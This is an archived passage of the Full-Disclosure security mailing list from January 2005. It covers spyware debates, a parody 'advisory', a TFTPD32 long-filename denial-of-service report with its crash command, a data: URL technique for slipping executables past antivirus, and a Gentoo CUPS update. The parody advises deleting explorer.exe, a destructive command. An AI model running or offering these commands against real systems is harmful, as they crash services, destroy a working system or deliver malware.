QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/ > >> bAEMACAYGBwYFCAcHBwkJ > >> CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv > >> /b > >> AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj > >> Iy > >> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/ > >> xAAfAAABBQEBAQEBAQAAAAAAAAAA > >> AQIDBAUGBwgJCgv/ > >> xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR > >> oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2 > >> Rl > >> ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExc > >> bH > >> yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/ > >> xAAfAQADAQEBAQEBAQEBAAAAAAAA > >> AQIDBAUGBwgJCgv/ > >> xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU > >> QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWm > >> Nk > >> ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8 > >> TF > >> xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/ > >> APn+iiigD// > >> Z"> > >> > >> > >> > >> ## END HTML ## > >> > >> Solution: > >> > >> While AV vendor patches are not yet available, fixes for all currently > >> known image vulnerabilities are > >> and have been for several months. If you have not yet applied them, > >> you have your own > >> negligence to blame. > >> > >> Contributions: > >> > >> Thanks to Scott Roeder and Jacinto Rodriquez their assistance in > >> platform testing. > > > > I believe TrendMicro's OfficeScan (client-server scanner) will catch > > it, but I am not sure about their gateway device. What was their > > response? > > > > ...D > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > ===== __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From fd.lists.dmargoli at af0.net Wed Jan 12 01:28:26 2005 From: fd.lists.dmargoli at af0.net (Dan Margolis) Date: Tue, 11 Jan 2005 20:28:26 -0500 Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and Vulnerable In-Reply-To: <41E43F22.9030304@easynix.net> References: <200501081612.j08GCLrs013728@lists.netsys.com> <3dc922c3050108105762eef57f@mail.gmail.com> <41E41214.4040502@easynix.net> <20050111190917.GB2295@specialk> <41E43F22.9030304@easynix.net> Message-ID: <20050112012826.GA30841@specialk> On Tue, Jan 11, 2005 at 10:03:30PM +0100, devis wrote: > It is prooved matter that spywares do exploits IE holes ( Iframes bugs, > Active X etc etc ). Do your work on a few and you will see. Perhaps some do, but generally speaking this is unnecessary for spyware to exist, as I said before; spyware exists regardless of such vulnerabilities. > Beside, you > missed the point entirely: if an user, just by clicking, can install > spyware on his machine, then the OS / browser is to blame, not the > actual (bad) code (exploiting it) floating around websites. A user can install spyware with one click for the same reason he can install a *good* application with one click. Having the user run every day with install privileges is relatively irrelevant; if he owns the machine, he will have the ability to install things. Being prompted for an admin password (as in the case of OSX) hardly prevents a stupid user from installing crap. > Once again, you are missing the point completely, if M$ didn't 'slack > code' their OS, spyware would : > 1) not install How do you intend to make spyware not install while still allowing the user to install other things? > 2) therefore not exist in the form, numbers and variety we know them See above. > I'll give you a clue: > try to get a 'tool bar' or some 'other added bonus' automagically on > bsd/unix/linux/solaris using any browser, on any site, clicking randomly. I cannot do so from "clicking randomly," but I quite easily can simply from clicking "OK" to the download prompt. Firefox installs plugins and toolbars just as easily as IE does. > As you said, > 'It's very, very difficult to prevent people from voluntarily installing > spyware on their own systems.' yes indeed, because MS made it that the > average joe is an admin therefore has supreme powers out of the box. So we don't give the *owner* admin privileges? Mac does this, as does Linux. I don't know of a single OS where the machine's owner does not, by default, have admin access. > Usability costs security. Always has, always will. Of course. But the ability to execute code is pretty much non-negotiable. I will never buy a general purpose PC on which I cannot run programs of my choosing. And if MS sold one as such, you would be here complaining about that instead. The point is, spyware does not require OS vulnerabilities to be spyware, and it likely, for a long time to come, never will. I never argued that Windows is the most secure OS, however, only that spyware does not imply bugs. And that point should, by now, be crystal clear. -- Dan From andfarm at teknovis.com Wed Jan 12 04:01:00 2005 From: andfarm at teknovis.com (Andrew Farmer) Date: Tue, 11 Jan 2005 20:01:00 -0800 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com> References: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com> Message-ID: <920846FA-644E-11D9-8DA6-000D93C0F38C@teknovis.com> On 11 Jan 2005, at 14:52, Team Pwnge wrote: ^^^^^ Nice start: you can't even spell your own name correctly. > Description > =========== > > Shogun Suzuki discovered that a remote user can connect to any > machine via numerous exploits and use Windows Explorer to view files, > rename files, delete files, change permissions on files stored on a > remote machine that has been pwned. Pray tell. An important element of disclosure is to actually disclose something. This, however, depends on there actually being something worth disclosing. > Impact > ====== > > A remote attacker could install something similar to PCAnywhere > after exploiting Windows and use Windows' Explorer to view, copy > and or open any file on a victims machine. ... or, "after exploiting Windows", an attacker could just "view, copy, and or open any file on a victims[sic] machine" without Explorer's help. > Concerns? > ========= > > Security is a primary focus of TEAM PWN4GE ... Er... right. > ... and ensuring the > progress of secure Windows machines be our dreams. And grammar be you lacking. Oh, wait. You probably haven't gotten to that in school yet. Never mind. > ... As security > concerns should be addressed to respective vendors, ... Reasonable enough, I suppose... > ... we feel the urge to bypass standards ... Um... yeah. "We think that $X is good, so we aren't going to do it." > ... and bring our common dreams of a secure homeland to the Interweb. *SPLUTTER* -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 186 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/b8607943/attachment.bin From devis at easynix.net Wed Jan 12 04:30:08 2005 From: devis at easynix.net (devis) Date: Wed, 12 Jan 2005 05:30:08 +0100 Subject: [Fwd: Re: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and Vulnerable] Message-ID: <41E4A7D0.8020805@easynix.net> Dan Margolis wrote: >On Tue, Jan 11, 2005 at 10:03:30PM +0100, devis wrote: > > >>It is prooved matter that spywares do exploits IE holes ( Iframes bugs, >>Active X etc etc ). Do your work on a few and you will see. >> >> > >Perhaps some do, but generally speaking this is unnecessary for spyware >to exist, as I said before; spyware exists regardless of such >vulnerabilities. >Beside, you >missed the point entirely: if an user, just by clicking, can install >spyware on his machine, then the OS / browser is to blame, not the >actual (bad) code (exploiting it) floating around websites. > > > >A user can install spyware with one click for the same reason he can >install a *good* application with one click. > Thats is where we do not agree. I do not beleive an user should be able to install anything. I have set up few unfortunates of my clients that get bugged randomly, with a 'user' limited user account and an admin account. Given you explain them why, they do understood perfectly and asked me why M$ didn't install in such a way. I answered that they prefer to expect their user base to be more stupid than able to comprehend. >Having the user run every >day with install privileges is relatively irrelevant; if he owns the >machine, he will have the ability to install things. Being prompted for >an admin password (as in the case of OSX) hardly prevents a stupid user >from installing crap. > > > > >>Once again, you are missing the point completely, if M$ didn't 'slack >>code' their OS, spyware would : >>1) not install >> >> > >How do you intend to make spyware not install while still allowing the >user to install other things? > > > see up there. >>2) therefore not exist in the form, numbers and variety we know them >> >> > >See above. > > > >>I'll give you a clue: >>try to get a 'tool bar' or some 'other added bonus' automagically on >>bsd/unix/linux/solaris using any browser, on any site, clicking randomly. >> >> > >I cannot do so from "clicking randomly," but I quite easily can simply >from clicking "OK" to the download prompt. Firefox installs plugins and >toolbars just as easily as IE does. > > > You speak without trying. Please go install 'Gator' or 'Alexa Whats related' on such a box. I see your point of using the firefox extensions / software install panel but so far in the wild on unix machines ...no reports. If it ever get used on firefox for windows for example to install spyware, it is because there is a windows box behind it. Please find me ONE example of spyware in the wild that install on an unix browser. Write a POC if it doesn't exist and please show that unix spywares in the home directory of the user are efficient. >>As you said, >>'It's very, very difficult to prevent people from voluntarily installing >>spyware on their own systems.' yes indeed, because MS made it that the >>average joe is an admin therefore has supreme powers out of the box. >> >> > >So we don't give the *owner* admin privileges? Mac does this, as does >Linux. I don't know of a single OS where the machine's owner does not, >by default, have admin access. > > > No we don't. Beleive me, its 5 minutes talk making an user aware of another account on his computer reserved for administrative tasks ( new installs, updates, etc ). >>Usability costs security. Always has, always will. >> >> > >Of course. But the ability to execute code is pretty much >non-negotiable. I will never buy a general purpose PC on which I cannot >run programs of my choosing. And if MS sold one as such, you would be >here complaining about that instead. > >The point is, spyware does not require OS vulnerabilities to be spyware, > > but it does to install and therefore do its task. >and it likely, for a long time to come, never will. I never argued that >Windows is the most secure OS, however, only that spyware does not imply >bugs. And that point should, by now, be crystal clear. > > Spyware does implies bugs and weakness. Once again, until you prooved that spyware out there in the wild, install or will install (in the next future) in other browsers, on unix, running a non priviledge account, i cannot agree with you. When you write a spyware you are not only gonna choose the most popular platform, but the most easy platform to do so. Spywares on windows exists not only because its the most popular OS, but mainly because it is trivial to adapt an installation of malware over a vulnerability ( remember how blaster spread ? ). Basically, i am answering because you have given up on educating the average user, and this is plain wrong. Setting up right security practices out of the box, then explaining the average joe how to use his computer, would not seems just a tedious task now, if M$ had done it properly from the start. Educating the end user is still possible. We managed to tell them not to click random emails for the last few years, and some still do, but overall its a big improvement. Not trusting the user to improve is a big mistake. not explaining why is equally a big mistake. The products got to change, and the users will learn. Education is the key, not covering the bad tracks of the OS writer. From spam at dacave.de Wed Jan 12 04:33:00 2005 From: spam at dacave.de (jigmed pema) Date: Wed, 12 Jan 2005 05:33:00 +0100 Subject: [Full-Disclosure] RE: Full-Disclosure: Interesting but suspicious possible phishing mail In-Reply-To: <200501120156.j0C1uCrs005908@lists.netsys.com> References: <200501120156.j0C1uCrs005908@lists.netsys.com> Message-ID: <41E4A87C.9020106@dacave.de> Hi, i am new to the list therefore greetings and kudos to all first, been monitoring this kind of strange mails myself, they all land in my catchall inbox. What baffles me about them is just the same fact them being addressed to a mailaccount on one of my subdomains i never used so far (the site is not even up yet), and which is not existant on that domain, starting to hit me right some hours after i had this domain registered. They all come either from a bogus yahoo or otherwise suspicious (spoofed??) account, all to something like jwsch mysubdomain dot com. The same subdomainname is registered by me with the .org, .info, .net and .de extensions, those have not been addressed so far and i wonder? Personally i think it's random spam to check if this domain or mailaccount on this domain are reachable, but i don't have proof for that yet. I shall keep an eye on those suspicious stuff furtheron. Thank you for letting me being part on here, regards, Jigmed Pema RandallM wrote: >Have been getting a number of these come thru also at work. >Of course all the users are asking me questions about these. >They all have the strange words, paragraphs, and questions like this one. >They really got my attention. I at first thought they were hidden messages >but >Not so as the one we receive come as text. > >thank you >Randall M > > > ><|>------------------------------ ><|> ><|>Message: 4 ><|>Date: Tue, 11 Jan 2005 02:27:55 +0000 ><|>From: "DAN MORRILL" ><|>Subject: [Full-Disclosure] Interesting but suspicious possible ><|> phishing mail ><|>To: full-disclosure at lists.netsys.com ><|>Message-ID: ><|>Content-Type: text/plain; format=flowed ><|> ><|>Hi folks, ><|> ><|>Got this really interesting mail in my box today, and ><|>knowing that I haven't ><|>used that e-mail address or ordered anything on line lately. ><|>Wondering if it ><|>might not be a phishing e-mail. Haven't seen anything like ><|>this before. ><|>Anyone see anything similar? ><|>r/ ><|>Dan ><|> ><|> ><|> ><|>from : Gabrielle U. Philips, Jr ><|>Sent : Monday, January 10, 2005 10:40 PM ><|>To : "Gabrielle U. Philips, Jr" ><|>CC : mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, ><|>mdan22 at qwest.net, mdan32 at qwest.net ><|>Subject : Shipping Notification, Tracking Number > - - - - - - - - snip - - - - - - - - - - From seclists at securinews.com Wed Jan 12 04:35:32 2005 From: seclists at securinews.com (Paul Kurczaba) Date: Tue, 11 Jan 2005 23:35:32 -0500 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com> Message-ID: <200501120435.j0C4Zars018630@lists.netsys.com> Why not also delete KDE, Gnome and all the other desktops out there. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Team Pwnge Sent: Tuesday, January 11, 2005 5:52 PM To: vulnwatch at vulnwatch.org; bugtraq at securityfocus.com; full-disclosure at lists.netsys.com Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - TEAM PWN4GE Security Advisory PWNED - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: HIGH Title: EXPLORER: Vulnerability in all versions of Windows Explorer Date: January 11, 2005 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple overflows have been found in Windows Explorer, potentially allowing a remote user to open Explorer and run files remotely. Background ========== Windows Explorer is an advanced browsing tool made by Microsoft. It is used in daily tasks to open folders, copy files, delete files, rename files and view files on a system. It is the foundation of the World Wide Web and used by billions worldwide. It runs on an array of machines. Affected versions ================= All versions of Windows' Explorer are vulnerable Description =========== Shogun Suzuki discovered that a remote user can connect to any machine via numerous exploits and use Windows Explorer to view files, rename files, delete files, change permissions on files stored on a remote machine that has been pwned. Impact ====== A remote attacker could install something similar to PCAnywhere after exploiting Windows and use Windows' Explorer to view, copy and or open any file on a victims machine. Workaround ========== On a command prompt: del C:\WINDOWS\explorer.exe Concerns? ========= Security is a primary focus of TEAM PWN4GE and ensuring the progress of secure Windows machines be our dreams. As security concerns should be addressed to respective vendors, we feel the urge to bypass standards and bring our common dreams of a secure homeland to the Interweb. License ======= Copyright 2005 TEAM PWN4GE The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -- _______________________________________________ Outgun.com free e-mail @ www.outgun.com Check out our Premium services - POP3 downloading, e-mail forwarding, and 25MB mailboxes! Powered by Outblaze _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From aditya.deshmukh at online.gateway.expertworks.net Wed Jan 12 04:36:11 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Wed, 12 Jan 2005 10:06:11 +0530 Subject: [Full-Disclosure] FW: MS Antispyware makes deal to leave Weatherbugalone In-Reply-To: <9E97F0997FB84D42B221B9FB203EFA276E8FFB@dc1ms2.msad.brookshires.net> Message-ID: > And the money payoff begins.. So looks like MS anti spyware would be just one more useless tool from microsoft. As a win32 kern programmer I find all the spyware removal buiness too time consuming - if any one of them affects my machine they get weeded out with a kern debugger. But there should be a way to automate the process. Looks like we do have to stick with our trusty debuggers, spybot and ad-aware! ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From smaillist at gmail.com Wed Jan 12 06:00:08 2005 From: smaillist at gmail.com (Sowhat .) Date: Wed, 12 Jan 2005 14:00:08 +0800 Subject: [Full-Disclosure] TFTPD32 Long FileName Remote Denial of Service Message-ID: TFTPD32 Long FileName Remote Denial of Service By Sowhat 12.JAN.2005 http://secway.org/advisory/ad20050108.txt Product Affected: TFTPD 2.74 and prior Impact: Low (1) Introduction TFTPD32 is a bundle including a full featured TFTP server, a TFTP client, a DHCP server and a Syslog server. TFTPD32 is designed for Windows 95/NT/2000/XP. "TFTPD32 recommended by Cisco, HP and other companies" --From the author's webpage. For more information: http://perso.wanadoo.fr/philippe.jounin/TFTPD32.html (2) Details A vulnerability in TFTPD32 may allow remote attackers crash the TFTPD32 and therefore cause a Denial of Service. aviram(@)beyondsecurity.com had reported "TFTPD32 Buffer Overflow Vulnerability (Long filename)" to bugtraq. And it seems that the author fixed the problem in v2.51. But during a simple audit,I found that TFTPD32 is still vulnerable to "Long Filenmae". C:\Windows\System32>tftp -i 192.168.0.1 get AAAAA...[about 508 'A' here]...AA The TFTPD32 will print the following error messages 2 times: "Error:RecvFrom Returns 10040 <"A message sent on a datagram socket was larger than the internal message buffer or some other network limit, or the buffer used to receive a datagram into was smaller than the datagram itself.">" and then it will dead. But this vulnerability seems very unstable and not exploitable. the TFTPD32 will not dead immediately ,usually 10-15 seconds after the request,and some times you need to "get" 2-3 times. (3) Solution Waitting for the author's update (4) Author Response I have sent an email to the author BUT no reply yet. From tux at penguinnetwerx.net Wed Jan 12 06:48:29 2005 From: tux at penguinnetwerx.net (Kevin Reiter) Date: Wed, 12 Jan 2005 01:48:29 -0500 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER References: <200501120435.j0C4Zars018630@lists.netsys.com> Message-ID: <046c01c4f873$3f351f30$0500a8c0@apollo> : Windows Explorer is an advanced browsing tool made by Microsoft. It is used : in daily tasks to open folders, copy files, delete files, rename files and : view files on a system. It is the foundation of the World Wide Web and used OK, we need to figure out which "Explorer" this guy is talkin' about - Internet Explorer or Windows Explorer. : Shogun Suzuki discovered that a remote user can connect to any machine via : numerous exploits and use Windows Explorer to view files, rename files, : delete files, change permissions on files stored on a remote machine that : has been pwned. ..such as ...???? (HINT: What 'sploits?) : On a command prompt: del C:\WINDOWS\explorer.exe Erm...sure...OK. But what happens when the poor sucker reboots the box and discovers the O/S is inop (provided the O/S even lets you delete the file in the first place, since explorer.exe is the shell ...)? Sorry, but this was the very first post I saw after I joined this list a little bit ago, and I couldn't resist a few comments. Is this guy for real, or is this a joke? -K From full-disclosure at arago.de Wed Jan 12 07:11:11 2005 From: full-disclosure at arago.de (Martin Allert) Date: Wed, 12 Jan 2005 08:11:11 +0100 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <200501120435.j0C4Zars018630@lists.netsys.com> References: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com> <200501120435.j0C4Zars018630@lists.netsys.com> Message-ID: <20050112071111.GA144731129@ohm.arago.de> Are there any age-based or I-am-dumb-as-bread limitations to this mailing list so we will be spared from such nonsense in the future? Like this idiotic "rm" exploit. The next thing is an exploit message for spying out other servers by using sophisticated espionage tools based on HTTP, developed by the CIA and maintained by the Illuminati. One simply calls it a webbrowser, others call it crowbar of the net. Or why would THEY name a webbrowser "spyglass"? :) > Sent: Tuesday, January 11, 2005 5:52 PM > To: vulnwatch at vulnwatch.org; bugtraq at securityfocus.com; > full-disclosure at lists.netsys.com > Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER > > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > TEAM PWN4GE Security Advisory PWNED > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > > Severity: HIGH > Title: EXPLORER: Vulnerability in all versions of Windows Explorer > Date: January 11, 2005 > > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > *nonsense deleted* Yours, Martin -- -------------------------------------------------------- arago AG, Institut fuer komplexes Datenmanagement Am Niddatal 3, 60488 Frankfurt/Main, allert at arago.de Tel. 069/405680, Fax 069/40568111, http://www.arago.de -------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 478 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/8e07ac4f/attachment.bin From tux at penguinnetwerx.net Wed Jan 12 07:33:25 2005 From: tux at penguinnetwerx.net (Kevin Reiter) Date: Wed, 12 Jan 2005 02:33:25 -0500 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER Message-ID: <02da01c4f879$0140c610$6400a8c0@olympus> original got bounced (mailbox full?) : : : : Windows Explorer is an advanced browsing tool made by Microsoft. It is used : : in daily tasks to open folders, copy files, delete files, rename files and : : view files on a system. It is the foundation of the World Wide Web and used : : OK, we need to figure out which "Explorer" this guy is talkin' about - Internet : Explorer or Windows Explorer. : : : Shogun Suzuki discovered that a remote user can connect to any machine via : : numerous exploits and use Windows Explorer to view files, rename files, : : delete files, change permissions on files stored on a remote machine that : : has been pwned. : : ..such as ...???? (HINT: What 'sploits?) : : : On a command prompt: del C:\WINDOWS\explorer.exe : : Erm...sure...OK. But what happens when the poor sucker reboots the box and : discovers the O/S is inop (provided the O/S even lets you delete the file in the : first place, since explorer.exe is the shell ...)? : : Sorry, but this was the very first post I saw after I joined this list a little : bit ago, and I couldn't resist a few comments. Is this guy for real, or is this a : joke? : : -K : : _______________________________________________ : Full-Disclosure - We believe in it. : Charter: http://lists.netsys.com/full-disclosure-charter.html : : From michealespinola at gmail.com Wed Jan 12 07:40:41 2005 From: michealespinola at gmail.com (Micheal Espinola Jr) Date: Wed, 12 Jan 2005 02:40:41 -0500 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <046c01c4f873$3f351f30$0500a8c0@apollo> References: <200501120435.j0C4Zars018630@lists.netsys.com> <046c01c4f873$3f351f30$0500a8c0@apollo> Message-ID: He's referring to Windows Explorer (the Windows GUI interface, C:\WINDOWS\explorer.exe). It is a joke. On Wed, 12 Jan 2005 01:48:29 -0500, Kevin Reiter wrote: > > > : Windows Explorer is an advanced browsing tool made by Microsoft. It is used > : in daily tasks to open folders, copy files, delete files, rename files and > : view files on a system. It is the foundation of the World Wide Web and used > > OK, we need to figure out which "Explorer" this guy is talkin' about - Internet > Explorer or Windows Explorer. > > : Shogun Suzuki discovered that a remote user can connect to any machine via > : numerous exploits and use Windows Explorer to view files, rename files, > : delete files, change permissions on files stored on a remote machine that > : has been pwned. > > ..such as ...???? (HINT: What 'sploits?) > > : On a command prompt: del C:\WINDOWS\explorer.exe > > Erm...sure...OK. But what happens when the poor sucker reboots the box and > discovers the O/S is inop (provided the O/S even lets you delete the file in the > first place, since explorer.exe is the shell ...)? > > Sorry, but this was the very first post I saw after I joined this list a little > bit ago, and I couldn't resist a few comments. Is this guy for real, or is this a > joke? > > -K > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > -- ME2 rss: From aditya.deshmukh at online.gateway.expertworks.net Wed Jan 12 07:47:18 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Wed, 12 Jan 2005 13:17:18 +0530 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <200501120435.j0C4Zars018630@lists.netsys.com> Message-ID: >Why not also delete KDE, Gnome and all the other desktops out there. Sure but then what would u use ? Don't tell me that you would be using X only with a term and with a window manager - I do use that sometimes - but it not too useful .... >Workaround >On a command prompt: del C:\WINDOWS\explorer.exe Ok this is what I did exactly see what happened --- Z:\Documents and Settings\Aditya>del Z:\WINDOWS\explorer.exe The system cannot find the file specified. What can I do with this error message ? How do I make this go away ? ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From rivgi at finjan.com Wed Jan 12 08:34:43 2005 From: rivgi at finjan.com (Rafel Ivgi) Date: Wed, 12 Jan 2005 10:34:43 +0200 Subject: [Full-Disclosure] Using data: URLs for malware injection References: <20050111214141.GB20998@fqdn.org> Message-ID: <009601c4f881$9093a000$de03a8c0@Finjan.co.il> I confirm on my Opera Version 7.54 Build 3869 Platform Win32 System Windows XP Java Sun Java Runtime Environment version 1.4 VoiceXML Plugin not available EXECUTES PUTTY!!! SAID "NOTEPAD.EXE" Rafel Ivgi Security Consultant Malicious Code Research Center (MCRC) Finjan Software LTD E-mail: rivgi at Finjan.com --------------------------------- Prevention is the best cure! ----- Original Message ----- From: "Michael Holzt" To: Sent: Tuesday, January 11, 2005 11:41 PM Subject: [Full-Disclosure] Using data: URLs for malware injection > > Using data: URL for malware injection > > 2005/01/11, Michael Holzt, kju -at- fqdn.org > based on work done by Darren Bounds (see text) > > > > As described by Darren Bounds in an earlier posting [1], RFC2397 allows to > embed data into an HTML formatted document. While Darren only used this for > malicious images, i made some further research which shows that this can > also be used to embed an executable file into the document. As shown by > Darren, such embedded data is not detected by current AV gateways. This > could be abused by websites (and probably HTML email too) for distributing > malware. > > The attack works by using an URL scheme like this: > > Click me! > > I've made an example available which embeds putty.exe. The example is about > 500 kByte HTML and is available on http://kju.de/misc/putty.html. Please do > not spread this URL outside of this list because of the traffic. Feel free > to copy the example to your own webspace. > > My tests with various windows based webbrowsers had the following results: > > - IE6 clicking on the link does nothing > > - Mozilla 1.5.4 will try to open the "what should i do with that" > file dialog and then hangs. needs to get killed. > > - Firefox 1.0 allows saving of the data to harddisk > (on linux it will also display much rubbish > in the save dialog) > > - Opera 7.5.4 tells that it will open the file with notepad > (which sounds ok), but will then EXECUTE IT > INSTEAD (without further warning). > > The behaviour of Opera 7.5.4 seems like a major security bug to me. Can > someone else confirm this behaviour? > > > References: > > [1] Posting by Darren Bounds on 2005/01/10, > > http://lists.netsys.com/pipermail/full-disclosure/2005-January/030724.html > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html ----------------------------------------------- This message was scanned for malicious content and viruses by Finjan Internet Vital Security 1Box(tm) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/6c8d3909/attachment.html From koon at gentoo.org Wed Jan 12 09:22:53 2005 From: koon at gentoo.org (Thierry Carrez) Date: Wed, 12 Jan 2005 10:22:53 +0100 Subject: [Full-Disclosure] UPDATE: [ GLSA 200412-25 ] CUPS: Multiple vulnerabilities Message-ID: <41E4EC6D.3000606@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory [UPDATE] GLSA 200412-25:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: CUPS: Multiple vulnerabilities Date: December 28, 2004 Updated: January 12, 2005 Bugs: #74479, #75197, #77023 ID: 200412-25:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Update ====== CUPS was vulnerable to multiple vulnerabilities and as a fix we recommended upgrading to version 1.1.23_rc1. This version is affected by a remote Denial Of Service, so we now recommend upgrading to the final 1.1.23 release which does not have any known vulnerability. The updated sections appear below. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-print/cups < 1.1.23 >= 1.1.23 Resolution ========== All CUPS users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-print/cups-1.1.23" Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200412-25.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at 